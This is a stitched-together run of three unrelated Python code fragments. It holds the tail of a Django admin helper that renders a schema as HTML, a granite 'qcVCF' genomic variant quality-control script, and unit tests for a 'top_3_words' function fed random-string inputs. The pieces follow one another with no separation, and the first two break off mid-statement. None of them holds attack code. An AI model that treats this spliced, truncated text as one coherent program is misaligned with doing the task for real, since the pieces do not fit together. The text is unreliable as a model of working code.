"""Return the schema for the model of the given ContentType object""" try: return json.loads(self.state)[ct.app_label][ct.model] except KeyError: return None class Meta: ordering = ["-when"] def html_state(self): """Display state in HTML format for the admin form.""" ret = "" state = json.loads(self.state) for (app, appstate) in state.items(): for (model, modelstate) in appstate.items(): ret += "<p>%s.models.%s</p>" % (app, model,) ret += "<ul>" for field in modelstate["fields"] + ["uid"]: ret += "<li>%s</li>" % field for fk in modelstate["foreignkeys"]: ret += "<li>%s (foreign key)</li>" % fk ret += "</ul>" return ret html_state.allow_tags =
#!/usr/bin/env python ################################################################# # # qcVCF # <NAME> # Harvard Medical School # <EMAIL> # ################################################################# ################################################################# # # LIBRARIES # ################################################################# import sys, os import json import statistics # shared_functions as * from granite.lib.shared_functions import * # vcf_parser from granite.lib import vcf_parser # pedigree_parser from granite.lib import pedigree_parser ################################################################# # # FUNCTIONS # ################################################################# ################################################################# # General stats for variants ################################################################# def get_stats(vnt_obj, stat_dict, ID_list): ''' extract information from variant for single samples, update counts for each sample in ID_list ''' var_type = variant_type_ext(vnt_obj.REF, vnt_obj.ALT) for ID in ID_list: _genotype(vnt_obj, ID, var_type, stat_dict) _read_depth_DP(vnt_obj, ID, stat_dict) _read_depth_RSTR(vnt_obj, ID, stat_dict) if var_type == 'snv': _substitution(vnt_obj, ID, vnt_obj.REF, vnt_obj.ALT, stat_dict) #end if #end for #end def def _genotype(vnt_obj, ID, var_type, stat_dict): ''' genotype information, update counts for ID ''' GT = vnt_obj.get_genotype_value(ID, 'GT').replace('|', '/') if GT not in ['0/0', './.']: # sample has variant alt, alt_ = GT.split('/') if alt == alt_: stat_dict[ID][var_type]['hom'] += 1 else: stat_dict[ID][var_type]['het'] += 1 #end if stat_dict[ID][var_type]['total'] += 1 #end if #end def def _substitution(vnt_obj, ID, REF, ALT, stat_dict): ''' substitution information, update counts for ID ''' GT = vnt_obj.get_genotype_value(ID, 'GT').replace('|', '/') if GT not in ['0/0', './.']: # sample has variant stat_dict[ID]['sub'][REF + '_' + ALT] += 1 #end if #end def def _read_depth_DP(vnt_obj, ID, stat_dict): ''' read depth information based on DP, update data for ID ''' GT = vnt_obj.get_genotype_value(ID, 'GT').replace('|', '/') try: DP = vnt_obj.get_genotype_value(ID, 'DP') except Exception: return # missing DP information for that ID, skip #end try if GT not in ['0/0', './.']: stat_dict[ID]['depth']['DP'].append(int(DP)) #end if #end def def _read_depth_RSTR(vnt_obj, ID, stat_dict): ''' read depth information based on RSTR, update data for ID ''' GT = vnt_obj.get_genotype_value(ID, 'GT').replace('|', '/') try: RSTR = vnt_obj.get_genotype_value(ID, 'RSTR') except Exception: return # missing RSTR information for that ID, skip #end try if GT not in ['0/0', './.']: stat_dict[ID]['depth']['RSTR'].append(sum(map(int, RSTR.split(',')))) #end if #end def ################################################################# # Pedigree stats ################################################################# def get_stats_pedigree(pedigree_obj, vnt_obj, stat_dict, ID_list): ''' extract information from variant for pedigree, update counts for each sample in ID_list ''' var_type = variant_type_ext(vnt_obj.REF, vnt_obj.ALT) for ID in ID_list: _mendelian_error(pedigree_obj, vnt_obj, ID, var_type, stat_dict) #end for #end def def _mendelian_error(pedigree_obj, vnt_obj, ID, var_type, stat_dict): ''' check for mendelian error based on trio information, update counts for ID ''' GT, parents_GT = vnt_obj.get_genotype_value(ID, 'GT').replace('|', '/'), [] if GT not in ['0/0', './.']: # sample has variant parents = pedigree_obj.get_member_by_sample(ID).get_parents() if len(parents) < 2: return # missing trio information, skip variant #end if for parent in parents: if not parent.is_sample(): # missing parent sample information, return # skip variant #end if try: GT_ = vnt_obj.get_genotype_value(parent.sample, 'GT').replace('|', '/') except Exception: return # parent sample missing in vcf, skip variant #end try if GT_ == './.': if GT in ['0/1', '1/0']: stat_dict[ID]['trio'][var_type]['het']['missing_in_parent'] += 1 stat_dict[ID]['trio'][var_type]['het']['total'] += 1 elif GT == '1/1': stat_dict[ID]['trio'][var_type]['hom']['missing_in_parent'] += 1 stat_dict[ID]['trio'][var_type]['hom']['total'] += 1 #end if return # missing genotype for parent, skip #end if parents_GT.append(GT_) #end for GT_0, GT_1 = parents_GT[0], parents_GT[1] # Check errors if GT in ['0/1', '1/0']: if GT_0 == '0/0' and GT_1 == '0/0': stat_dict[ID]['trio'][var_type]['het']['de_novo'] += 1 elif GT_0 == '1/1' and GT_1 == '1/1': stat_dict[ID]['trio'][var_type]['het']['errors'] += 1 #end if stat_dict[ID]['trio'][var_type]['het']['total'] += 1 elif GT == '1/1': if GT_0 == '0/0' or GT_1 == '0/0': stat_dict[ID]['trio'][var_type]['hom']['errors'] += 1 #end if stat_dict[ID]['trio'][var_type]['hom']['total'] += 1 #end if #end if #end def ################################################################# # ################################################################# def tt_ratio(sub_dict): ''' return transition-transversion ratio''' ti = sub_dict['A_G'] + sub_dict['G_A'] + sub_dict['T_C'] + sub_dict['C_T'] tv = sub_dict['A_T'] + sub_dict['T_A'] + sub_dict['A_C'] + sub_dict['C_A'] \ + sub_dict['G_T'] + sub_dict['T_G'] + sub_dict['G_C'] + sub_dict['C_G'] return ti / tv #end def def compress_list(data_list): ''' return compressed version of list of numbers as list of single points accompanied by list with occurency counts for each of the points, [points_list, counts_list] ''' points, counts = [], [] for i, e in enumerate(sorted(data_list)): if i == 0: tmp_e, count = e, 1 elif e != tmp_e: points.append(tmp_e) counts.append(count) tmp_e, count = e, 1 else: count += 1 #end if #end for # last point points.append(tmp_e) counts.append(count) return [points, counts] #end def def to_json(stat_dict, stat_to_add): ''' ''' stat_json = { 'total variants': [], 'depth of coverage': [] } if 'ti_tv' in stat_to_add: stat_json.setdefault('transition-transversion ratio', []) #end if if 'het_hom' in stat_to_add: stat_json.setdefault('heterozygosity ratio', { 'SNV': [], 'INS': [], 'DEL': [], 'MNV': [] }) #end if if 'trio_errors' in stat_to_add: stat_json.setdefault('mendelian errors in trio', { 'SNV': [], 'INS': [], 'DEL': [] }) #end if for ID in stat_dict: tmp_total = { 'name': ID, 'total': 0 } for k, v in stat_dict[ID].items(): tmp_dict = {} # total variants if k in ['snv', 'ins', 'del', 'mnv', 'mav']: tmp_total.setdefault(k.upper(), v['total']) tmp_total['total'] += v['total'] #end if # heterozygosity ratio if k in ['snv', 'ins', 'del', 'mnv'] and 'het_hom' in stat_to_add: tmp_dict.setdefault('name', ID) if v['hom']: hh_ratio = round(v['het'] / v['hom'], 2) tmp_dict.setdefault('ratio', hh_ratio) #end if tmp_dict.setdefault('counts', v) stat_json['heterozygosity ratio'][k.upper()].append(tmp_dict) #end if # substitutions if k == 'sub' and 'ti_tv' in stat_to_add: tmp_dict.setdefault('name', ID) try: tmp_dict.setdefault('ratio', round(tt_ratio(v), 2)) except Exception: pass #end try tmp_dict.setdefault('counts', v) stat_json['transition-transversion ratio'].append(tmp_dict) #end if # mendelian errors trio if k == 'trio' and 'trio_errors' in stat_to_add: for k_v, v_v in v.items(): tmp_dict = {} # reset tmp_dict if k_v in ['snv', 'ins', 'del']: if v_v['het']['total'] or v_v['hom']['total']: tmp_dict.setdefault('name', ID) tmp_dict.setdefault('counts', v_v) stat_json['mendelian errors in trio'][k_v.upper()].append(tmp_dict) #end if #end if #end for #end if # depth of coverage if k == 'depth': tmp_dict.setdefault('name', ID) if v['DP']: # DP tmp_dict.setdefault('DP (gatk)', {}) tmp_dict['DP (gatk)'].setdefault('average', round(statistics.mean(v['DP']), 2)) tmp_dict['DP (gatk)'].setdefault('points', compress_list(v['DP'])) #end if if v['RSTR']: # RSTR tmp_dict.setdefault('DP (raw)', {}) tmp_dict['DP (raw)'].setdefault('average', round(statistics.mean(v['RSTR']), 2)) tmp_dict['DP (raw)'].setdefault('points', compress_list(v['RSTR'])) #end if stat_json['depth of coverage'].append(tmp_dict) #end if #end for stat_json['total variants'].append(tmp_total) #end for return stat_json #end def ################################################################# # runner ################################################################# def main(args): ''' ''' # Variables is_verbose = True if args['verbose'] else False stat_dict = {} stat_to_add = [] # Check command line arguments if args['ti_tv']: stat_to_add.append('ti_tv') #end if if args['het_hom']: stat_to_add.append('het_hom') #end if if args['trio_errors']: stat_to_add.append('trio_errors') #end if if not stat_to_add: sys.exit('\nERROR in parsing arguments: specify at least one metric to add\n') #end if # Buffers fo = open(args['outputfile'], 'w') # Creating Vcf object vcf_obj = vcf_parser.Vcf(args['inputfile']) # Get list of sample IDs to use ID_list = args['samples'] # list of sample IDs # Loading pedigree if os.path.isfile(args['pedigree']): with open(args['pedigree']) as fi: pedigree = json.load(fi) #end with else: try: pedigree = json.loads(args['pedigree']) except Exception: sys.exit('\nERROR in parsing arguments: pedigree must be either a json file or a string representing a json\n') #end try #end if # Creating Pedigree object pedigree_obj = pedigree_parser.Pedigree(pedigree) # Initializing stat_dict for ID in ID_list: stat_dict.setdefault(ID, { 'snv': {'het': 0, 'hom': 0, 'total': 0}, 'ins': {'het': 0, 'hom': 0, 'total': 0}, 'del': {'het': 0, 'hom': 0, 'total': 0}, 'mnv': {'het': 0, 'hom': 0, 'total': 0}, 'mav': {'het': 0, 'hom': 0, 'total': 0}, 'sub': { 'A_G': 0, 'A_T': 0, 'A_C': 0, 'T_A': 0, 'T_G': 0, 'T_C': 0, 'C_A': 0, 'C_G': 0, 'C_T': 0, 'G_A': 0, 'G_T': 0, 'G_C': 0 }, 'trio': { 'snv': { 'het': {'de_novo': 0, 'errors': 0, 'missing_in_parent': 0, 'total': 0}, 'hom': {'errors': 0, 'missing_in_parent': 0, 'total': 0} }, 'ins': { 'het': {'de_novo': 0, 'errors': 0, 'missing_in_parent': 0, 'total': 0}, 'hom': {'errors': 0, 'missing_in_parent': 0, 'total': 0} }, 'del': { 'het': {'de_novo': 0, 'errors': 0, 'missing_in_parent': 0, 'total': 0}, 'hom': {'errors': 0, 'missing_in_parent': 0, 'total': 0} }, 'mnv': { 'het': {'de_novo': 0, 'errors': 0, 'missing_in_parent': 0, 'total': 0}, 'hom': {'errors': 0, 'missing_in_parent': 0, 'total': 0} }, 'mav': { 'het': {'de_novo': 0, 'errors': 0, 'missing_in_parent': 0, 'total': 0}, 'hom': {'errors': 0, 'missing_in_parent': 0, 'total': 0} } }, 'depth': { 'RSTR': [], 'DP': [] } }) #end for # Reading variants analyzed = 0 for i, vnt_obj in enumerate(vcf_obj.parse_variants()): if is_verbose: sys.stderr.write('\rAnalyzing variant... ' + str(i + 1)) sys.stderr.flush() #end if # # Check if chromosome is canonical and in valid format # if not check_chrom(vnt_obj.CHROM): # continue # #end if analyzed += 1 # Getting and updating stats get_stats(vnt_obj, stat_dict, ID_list) get_stats_pedigree(pedigree_obj, vnt_obj, stat_dict, ID_list) #end for # Writing output sys.stderr.write('\n\n...Writing results for ' + str(analyzed) + ' analyzed variants out of ' + str(i + 1) + ' total variants\n') sys.stderr.flush() # Create json stat_json = to_json(stat_dict, stat_to_add) # Write
def test_top_3_words_082(self): self.assertEqual(top_3_words( "uNA/rbsGjwZCM,;;: jcJIJna:!!.,jcJIJna:jcJIJna:/ " "yIJluaT/yIJluaT:;uNA/sVBkdu! ?.:ePcY," "yIJluaT--_/tdFrNtAJ.JeFDufWml ..?.t'uNq:;tdFrNtAJ!?;?," "yIJluaT?;t'uNq, ; -ePcY!-.-.uvkaV_OubJ ?," "mLUADYDyCb;._-BDbNx-uNA-/ePcY:/;zeeTdN , WSpFPMTu," "BDbNx!:BDbNx/," "yIJluaT, :;.uNA;-- -mLUADYDyCb.? -,ePcY?;,!ZmDlRuTzuC," "ZmDlRuTzuC_; /-BDbNx:t'uNq,,_JeFDufWml_t'uNq:!jcJIJna?zeeTdN, " "/:!mLUADYDyCb?-ePcY_uvkaV.uNA -?JeFDufWml,? !t'uNq. " "ZECA-./:_mLUADYDyCb. " ":?_mLUADYDyCb;-!;ePcY//mLUADYDyCb:/jcJIJna/:?ZmDlRuTzuC!:_" ":zeeTdN _sVBkdu!rbsGjwZCM-JeFDufWml.:t'uNq?:- " "-BDbNx;?mLUADYDyCb/'QREgD;-/-ZmDlRuTzuC.!-;WSpFPMTu_" "..JeFDufWml" "?.-._ZmDlRuTzuC--mLUADYDyCb_.!uvkaV!!rbsGjwZCM:tdFrNtAJ" ".;--?OubJ" ";, .-rbsGjwZCM/jcJIJna;.,.;'zQBOlj/;/-?t'uNq!gZIV??:," ".jcJIJna!?/mLUADYDyCb:ePcY?;/mLUADYDyCb;! " "mLUADYDyCb?uNA;:-JeFDufWml!/:," "_'zQBOlj!jcJIJna-?!ZmDlRuTzuC?._OubJ_ !,ZmDlRuTzuC::yIJluaT " "_tdFrNtAJ..mLUADYDyCb,;!_tdFrNtAJ:/?uNA-!/;mLUADYDyCb.? " ":jcJIJna?!tdFrNtAJ,ePcY _-_yIJluaT_;:?ePcY,jcJIJna/_!ePcY_," ";ZmDlRuTzuC t'uNq?- /:ePcY/-;:;mLUADYDyCb/_," "/sVBkdu.?-.OubJ;_, " "!yIJluaT!.;!ePcY.//JeFDufWml -t'uNq; /.:ePcY_/! " "-mLUADYDyCb-:_ " "tdFrNtAJ;jcJIJna._!.:zeeTdN-uvkaV?/ 'QREgD . " ":;sVBkdu!mLUADYDyCb/_/sVBkdu: " "_tdFrNtAJ_ZmDlRuTzuC?/-!:rbsGjwZCM.,.t'uNq/- " "-.uNA.sVBkdu?BDbNx-??!/BDbNx-,;zeeTdN.;mLUADYDyCb/," "mLUADYDyCb/.., ZmDlRuTzuC;:?/zeeTdN: /JeFDufWml/?_jcJIJna " "?/_;WSpFPMTu?;mLUADYDyCb-!/_-WSpFPMTu!!ePcY,_,;," "rbsGjwZCM./-tdFrNtAJ!,,?-JeFDufWml;tdFrNtAJ 'zQBOlj," "/;_ zeeTdN-! " "mLUADYDyCb?_ t'uNq ;_?rbsGjwZCM;uNA!jcJIJna," "ePcY.zeeTdN!tdFrNtAJ_tdFrNtAJ::_!uvkaV -sVBkdu,:ZmDlRuTzuC?," ": ePcY;_?:!t'uNq;tdFrNtAJ_/_: ZmDlRuTzuC-/ :ePcY/; " "jcJIJna.!; " "ZmDlRuTzuC-!yIJluaT/ePcY:!-_jcJIJna_BDbNx_!!.-jcJIJna! " "uNA_t'uNq_;:mLUADYDyCb?!uNA," "/: JeFDufWml?.!;jcJIJna?-/_!uvkaV:.," "BDbNx/_ePcY!,;!/JeFDufWml " "_mLUADYDyCb-;.jcJIJna-ePcY!::;;'QREgD_rbsGjwZCM ;_/mLUADYDyCb," "/jcJIJna_?: JeFDufWml-!--tdFrNtAJ.__.uNA:WSpFPMTu:uNA_BDbNx: " "jcJIJna_?ZmDlRuTzuC, ?? t'uNq.! ?ZmDlRuTzuC," ";!_/tdFrNtAJ_mLUADYDyCb.,..uvkaV!,_ jcJIJna;- - " "tdFrNtAJ!!JeFDufWml;?sVBkdu/_-.WSpFPMTu?_- JeFDufWml!/: " "/gZIV/;./_uNA:;JeFDufWml..uNA!/.?;uNA/; " "mLUADYDyCb!_uNA/_-/-tdFrNtAJ/;.uNA:/_?_JeFDufWml-/jcJIJna.;-," "!ZECA_/-/ mLUADYDyCb?,:/-gZIV__./-jcJIJna gZIV/sVBkdu;uNA/ " "mLUADYDyCb ?zeeTdN:,?uvkaV! ?_tdFrNtAJ//tdFrNtAJ, :uNA,," "-!;mLUADYDyCb_BDbNx/:: t'uNq ;/zeeTdN:zeeTdN," "'QREgD_.-?JeFDufWml,!!zeeTdN_;sVBkdu_!-? BDbNx./," ":WSpFPMTu.;:-BDbNx:?!yIJluaT_ " "ePcY;_jcJIJna:;_.uNA?:yIJluaT:/t'uNq;t'uNq/! ,uNA_!jcJIJna_-," "ePcY-!.,'QREgD/?!uNA.?;.ePcY?.!;BDbNx; /ePcY-,?.WSpFPMTu," "; _JeFDufWml,:ePcY_ ;,_uNA?_WSpFPMTu/!sVBkdu:!sVBkdu/ " "?.tdFrNtAJ.ZmDlRuTzuC.:jcJIJna;tdFrNtAJ.ePcY-./_sVBkdu:;," "..zeeTdN!mLUADYDyCb ZmDlRuTzuC:gZIV!BDbNx-,? ?BDbNx :-. " "WSpFPMTu;WSpFPMTu;:?rbsGjwZCM,," ".;zeeTdN;;/-/uNA;-sVBkdu.jcJIJna " "rbsGjwZCM:.!t'uNq_;rbsGjwZCM!gZIV?t'uNq-:tdFrNtAJ.;tdFrNtAJ" "?./JeFDufWml?.uNA:/-./mLUADYDyCb .:t'uNq::!"), ['mluadydycb', 'jcjijna', 'una']) def test_top_3_words_083(self): self.assertEqual(top_3_words( "bGggRfgjx-,__bGggRfgjx/MWbKw CfGI/ ,/CfGI - " "!bGggRfgjx!AZHXpmz/ " "bGggRfgjx;; .WBjDjvnR/WBjDjvnR.?CfGI/.PSpiSd/TG'Yq.," "AZHXpmz/WBjDjvnR!_WBjDjvnR?AZHXpmz_,_bGggRfgjx:!," "?AZHXpmz-WBjDjvnR,?,.?bGggRfgjx_;-AZHXpmz_ MWbKw:-/AZHXpmz._- " "MWbKw_/AZHXpmz;, ./bGggRfgjx-?CfGI/;PSpiSd:;.-CfGI./MWbKw, " ";BDRBwtnSy;.: ;PSpiSd-_ _-MWbKw,-! PSpiSd/,MWbKw!PSpiSd!. " "PSpiSd: _:CfGI/MWbKw--!WBjDjvnR;!_ PSpiSd.:_MWbKw/! WBjDjvnR; " "-?,PSpiSd//:- bGggRfgjx PSpiSd!AZHXpmz_AZHXpmz/_- " "PSpiSd/:_WBjDjvnR?CfGI._bGggRfgjx " ":WBjDjvnR?:./BDRBwtnSy;bGggRfgjx," ";:AZHXpmz:.:WBjDjvnR./.PSpiSd! " "_MWbKw,?.PSpiSd/-;MWbKw _.WBjDjvnR-!PSpiSd.,MWbKw:AZHXpmz-, " "_!AZHXpmz/-WBjDjvnR?/?,;TG'Yq;;CfGI:/.CfGI;;AZHXpmz/ " ".:bGggRfgjx. ,_ MWbKw/.;;PSpiSd_MWbKw/?MWbKw!?MWbKw/,," "/bGggRfgjx " "WBjDjvnR,_/!MWbKw;;-; CfGI: bGggRfgjx//_WBjDjvnR_ " ";:bGggRfgjx./_PSpiSd;PSpiSd !.: PSpiSd_-WBjDjvnR " ":TG'Yq/:MWbKw;:PSpiSd_!?PSpiSd;MWbKw!TG'Yq ," "WBjDjvnR;!:WBjDjvnR/,MWbKw.// " "PSpiSd/WBjDjvnR/AZHXpmz:.WBjDjvnR?/AZHXpmz ,.," "CfGI?/!//bGggRfgjx,,PSpiSd " "AZHXpmz;:!?_bGggRfgjx:;_bGggRfgjx_;_.AZHXpmz!_bGggRfgjx ,., " "AZHXpmz bGggRfgjx?bGggRfgjx-/.PSpiSd/MWbKw?-;?!bGggRfgjx_: " ":MWbKw!AZHXpmz-/,- WBjDjvnR/ -MWbKw!PSpiSd-," ";PSpiSd/:_--PSpiSd-_AZHXpmz ;_ WBjDjvnR?;!, " "AZHXpmz-.MWbKw.://!PSpiSd_?_MWbKw__PSpiSd/," "AZHXpmz!_--AZHXpmz/;;,PSpiSd.," "BDRBwtnSy-CfGI_/_?CfGI_PSpiSd/;bGggRfgjx?/.:?bGggRfgjx!," "WBjDjvnR_-/bGggRfgjx!;BDRBwtnSy.bGggRfgjx:/MWbKw!-:;MWbKw;: " "_/bGggRfgjx?:?AZHXpmz?;BDRBwtnSy!-;AZHXpmz.;?PSpiSd!:AZHXpmz" "?:__" "?bGggRfgjx_:,AZHXpmz?;;AZHXpmz;AZHXpmz!-?_"), ['pspisd', 'azhxpmz', 'bgggrfgjx']) def test_top_3_words_084(self): self.assertEqual(top_3_words( "EtM:,HnXlcAa;_?_WsqLmgTS;!.-EtM_WsqLmgTS.," ":/_HRG/?:-?DUs!WsqLmgTS?,.?'UdBI; _-.hcfPkhSx.;:_HnXlcAa. " "-_DUs:/_hcfPkhSx-:/WsqLmgTS," "/!;;HRG!./EtM;HRG;hcfPkhSx/..;DUs??:/-EtM:_;DUs/: " ";.DUs-/EtM.:/ " "EtM-/hcfPkhSx;_hcfPkhSx.-,_WsqLmgTS?/'UdBI?!HRG;," "hcfPkhSx;:HRG;_!/HRG.DUs//!/'UdBI:EtM-, ,fqu:_!HRG :EtM_/. " "?WsqLmgTS/EtM/_. 'UdBI ,_?HRG:/::,hcfPkhSx-!!DUs!. " ":/EtM//-/_HRG:_.hcfPkhSx HRG .: WsqLmgTS/_ ? EtM/!," "-?hcfPkhSx! " ":_!DUs!/;?DUs,DUs-!WsqLmgTS,_!,DUs:_! _HRG;,-:hcfPkhSx_ :fqu," "_!;EtM:EtM_,.- DUs-HRG,;;-fqu,;!-HRG:-:hcfPkhSx,-HRG-!," "HRG ?WsqLmgTS!WsqLmgTS!HRG!; ? DUs.-_:fqu?hcfPkhSx_!EtM_. " "WsqLmgTS! EtM, WsqLmgTS?!--DUs_:.HRG!/'UdBI!?-HRG,,HnXlcAa/ " ";.DUs,/;__EtM-EtM hcfPkhSx :,:?HnXlcAa :;?EtM!-/hcfPkhSx_.," "!-hcfPkhSx,.hcfPkhSx;:/WsqLmgTS;??,EtM,,EtM,DUs," ";/ WsqLmgTS-WsqLmgTS.DUs,?WsqLmgTS_HRG;_-?WsqLmgTS " ".:WsqLmgTS-HRG; ;;DUs;-EtM_ :?hcfPkhSx; ?fqu-.DUs;,"), ['etm', 'hrg', 'dus']) def test_top_3_words_085(self): self.assertEqual(top_3_words( "gXYJuL; :fuMSnTkLb.?pWsAweUevM! xRXfKt,_:wmPi'kiA wmPi'kiA?; " "uQH- ? _gLjFk-:-pWsAweUevM?rJds_;!-;ThOzX-_gXYJuL/gLjFk_wmPi" "'kiA,gXYJuL:..bqM-/gcL__-pWsAweUevM: :/;rJds.?,!/OkJx-;;gcL " "__gLjFk_?wmPi'kiA!gLjFk_;pWsAweUevM?:OkJx:;.-bqM.gXYJuL!_" "/;gLjFk" ":/gXYJuL///;gXYJuL;:_- OkJx_: ;rJds !. " "fuMSnTkLb;;-.FNfHkgO/?:rJds! :," "bqM_gXYJuL!!:gXYJuL:?:!!gLjFk.;ThOzX?," "fuMSnTkLb/-fuMSnTkLb!/,.," "bqM;/_wmPi'kiA-OkJx:?uQH!!- ;gLjFk,:FNfHkgO-rJds,:ThOzX?;:. " "gXYJuL,gXYJuL,/wmPi'kiA!-_ wmPi'kiA! .--gcL/ " "-uQH/;.pWsAweUevM.?.ThOzX:_, uQH:;FNfHkgO_. ; rJds,?," "fuMSnTkLb_ThOzX; " ";wmPi'kiA.!?-lveGuhiLSs?OkJx;!._gcL-.!-fuMSnTkLb.__fuMSnTkLb " "rJds?-wmPi'kiA_ThOzX!-;?_ThOzX,.-rJds!,_pWsAweUevM-bqM " "?-pWsAweUevM-/_/-gXYJuL::/ /gcL,.wmPi'kiA :::,fuMSnTkLb," "/?gLjFk?.,pWsAweUevM:.,.-gcL!?gcL:!?xRXfKt,,ThOzX:/_ /uQH- " "?-_pWsAweUevM_OkJx/.gXYJuL! OkJx _.?:gcL/:/uQH/_OkJx-/-," "ThOzX!.;pWsAweUevM_/_,gLjFk?gLjFk," "//:gXYJuL_:!!!OkJx:_:!_rJds.bqM:?_: fuMSnTkLb:/_," "?pWsAweUevM.;gLjFk_ qEoLX///?;bqM.uQH?.pWsAweUevM_!_gcL," ";_wmPi'kiA.,, ThOzX, !OkJx!, ?,ThOzX?- ,EUMzJMqP ./gLjFk-," "bqM:.gcL?,:..rJds!gXYJuL- gLjFk,-!_?fuMSnTkLb:EUMzJMqP/! " "ThOzX/FNfHkgO/-__pWsAweUevM/?uQH?/EUMzJMqP!/_FNfHkgO :_bqM " "bqM.:wmPi'kiA/,,_ uQH EUMzJMqP_ ;-ThOzX uQH///!_uQH," ".qEoLX:bqM?pWsAweUevM/.!ThOzX_lveGuhiLSs " "!?pWsAweUevM?!?/gLjFk;FNfHkgO?.;/;gXYJuL_-rJds?_?_pWsAweUevM/_" ".fuMSnTkLb-.OkJx-.pWsAweUevM_?fuMSnTkLb:::gLjFk;:-_;ThOzX" "?!!FNfHkgO_/;pWsAweUevM.,!qEoLX;,,!;gXYJuL_,," "_/pWsAweUevM_!/;_lveGuhiLSs !gcL ,!:,ThOzX," "/-rJds//?/OkJx/wmPi'kiA--rJds:pWsAweUevM: " "!.uQH/-ThOzX__?!.gcL;_.gXYJuL_!!!?bqM!OkJx/," "-OkJx/pWsAweUevM_?;..bqM_./ /uQH;;_gXYJuL!," "!OkJx/;-!/wmPi'kiA;!uQH.!-wmPi'kiA!-_:/gXYJuL-:pWsAweUevM:," ". .gXYJuL,!:?xRXfKt!FNfHkgO/ fuMSnTkLb,., wmPi'kiA_," "??gXYJuL:/;!!rJds ;;OkJx_ uQH?rJds!?lveGuhiLSs ," "?;xRXfKt:;gXYJuL;;?._fuMSnTkLb__rJds? pWsAweUevM:gLjFk/," ":bqM:OkJx,?.:bqM- ??,uQH_/.ThOzX,?xRXfKt/!/;.FNfHkgO;_," "_rJds/_gLjFk!?/OkJx :OkJx,gLjFk .xRXfKt_rJds?/-ThOzX gcL;; ," "?uQH?-/.bqM!,/FNfHkgO :gXYJuL_ .?xRXfKt_wmPi'kiA.gXYJuL " ":uQH/;rJds/;fuMSnTkLb;;! ;ThOzX ThOzX;-/ " "ThOzX?!;pWsAweUevM?!-gLjFk," "?_;lveGuhiLSs.FNfHkgO_?rJds_wmPi'kiA:-:!.bqM;_-!uQH? .! " "fuMSnTkLb.gXYJuL_ ;ThOzX!-.wmPi'kiA!.?qEoLX;:gLjFk_ " "__-rJds?/-OkJx! fuMSnTkLb-," ";?!pWsAweUevM-__:!fuMSnTkLb!-.:qEoLX:!,?wmPi'kiA!;.uQH--;:bqM " ":_fuMSnTkLb/;;gXYJuL !-qEoLX_ .!gLjFk?_," "-rJds.!xRXfKt/:/;-FNfHkgO?//gXYJuL ;!FNfHkgO_!. " "fuMSnTkLb:!_-/bqM:;pWsAweUevM-:FNfHkgO, ?;:fuMSnTkLb?," "-_.gLjFk " "/xRXfKt_-gLjFk., .ThOzX:?_,.uQH;??uQH?.,!OkJx!,FNfHkgO-bqM " "uQH.OkJx?:/-_EUMzJMqP-?__/qEoLX_- ?_uQH,!bqM!!,lveGuhiLSs?. " "-fuMSnTkLb- ,pWsAweUevM-pWsAweUevM.._!_gXYJuL_," "/::pWsAweUevM;;.gLjFk?-_FNfHkgO uQH_;/uQH-bqM?;/;:wmPi'kiA " "gXYJuL_,?_bqM.uQH-.?/:pWsAweUevM;;?gLjFk ?," "wmPi'kiA?!!EUMzJMqP ;"), ['pwsaweuevm', 'gxyjul', 'uqh']) def test_top_3_words_086(self): self.assertEqual(top_3_words("gKvbJgK//.; gKvbJgK,;-;"), ['gkvbjgk']) def test_top_3_words_087(self): self.assertEqual(top_3_words( "nyrSfNlVT;RoDmwZA!,qPHx!LVpg! qPHx;!LVpg/ : zLU';; " "njeWsouT!_Wzu__qPHx,?.?nmyFKuK,/;.:njeWsouT," "qPHx./zLU';RoDmwZA " "-/Wzu/:Wzu.-?:nyrSfNlVT,-,/;ZiWeGrFBj,?//ennyAhkDK," "-nyrSfNlVT:!!!?nyrSfNlVT,qPHx njeWsouT,;!-nyrSfNlVT!zLU'," "?nyrSfNlVT,_zLU' nmyFKuK;_Wzu?;!_RoDmwZA?:RoDmwZA_,! LVpg " "_:;.RoDmwZA/::!:njeWsouT_?LVpg ennyAhkDK.:-- zLU'__," "nmyFKuK;!? " "qPHx -zLU'_;RoDmwZA-,;?njeWsouT,/:Wzu_!?ZiWeGrFBj/ennyAhkDK," ";?," "!nmyFKuK_?.;RoDmwZA. ,xSL;:qPHx:nyrSfNlVT?LVpg.!?ZiWeGrFBj.," ":;-LVpg .-jgsKpHGC-.Wzu..ennyAhkDK:.-Wzu?-:_ZiWeGrFBj" ":-?RoDmwZA " "zLU'; :rwrJ!?,?RoDmwZA-LVpg !-,nyrSfNlVT/!, njeWsouT, ?," "nyrSfNlVT/:ZiWeGrFBj.!!-;zLU'/,!/;Wzu!!/Wzu__?; zLU':," "?!nmyFKuK! " ",,,LVpg?ennyAhkDK_/:/njeWsouT:-:Wzu.,.," "_RoDmwZA/nmyFKuK-::.-qPHx_ZiWeGrFBj/_:ennyAhkDK!? " "./zLU'_nyrSfNlVT_/-/_ennyAhkDK?;RoDmwZA,?qPHx," "LVpg :ennyAhkDK-?_;xSL.zLU'_;/Wzu_?-.qPHx:-.njeWsouT?," ";nmyFKuK, " "zLU':/?,_LVpg,/,nmyFKuK;; ?,VFZzdF;!;: njeWsouT!, -LVpg. !-," "nyrSfNlVT__-ZiWeGrFBj/!,--RoDmwZA !;RoDmwZA.?_:nmyFKuK/;," "qPHx/;?qPHx /: nmyFKuK_::?ZiWeGrFBj,,;!nyrSfNlVT /:,/qPHx- " "?:Wzu!._./njeWsouT,-:RoDmwZA!/:.;RoDmwZA ?/Wzu,!,qPHx!qPHx?," "-/?nyrSfNlVT ,!zLU';;:RoDmwZA_/-qPHx!?RoDmwZA ZiWeGrFBj," "/;_;nERFTMO,.?-qPHx,,RoDmwZA_;!LVpg ,/:RoDmwZA_njeWsouT--_. " "zLU'??RoDmwZA-:/Wzu///?qPHx;/_- qPHx-_: " "ennyAhkDK:?-LVpg;;LVpg, " ";,nyrSfNlVT?..; ZiWeGrFBj. ,nmyFKuK.: _-nyrSfNlVT,,_!qPHx - ?," "nmyFKuK.:!.nyrSfNlVT;?_Wzu,/qPHx//;:.nmyFKuK/- " "LVpg::!;ZiWeGrFBj_?nyrSfNlVT?!,:xSL , /Wzu-," ".ennyAhkDK//__?qPHx-!_;.xSL,?nmyFKuK-,qPHx!!-:_ZiWeGrFBj/ " "_/nyrSfNlVT?!xSL_._qPHx_..qPHx;__?njeWsouT-?;," ":njeWsouT/;_LVpg_qPHx? ;nyrSfNlVT_;?_zLU'://_,RoDmwZA " "nyrSfNlVT; " "_?RoDmwZA!nyrSfNlVT:,,:!njeWsouT--/LVpg-/-/Wzu/-_:RoDmwZA? " "Wzu-? 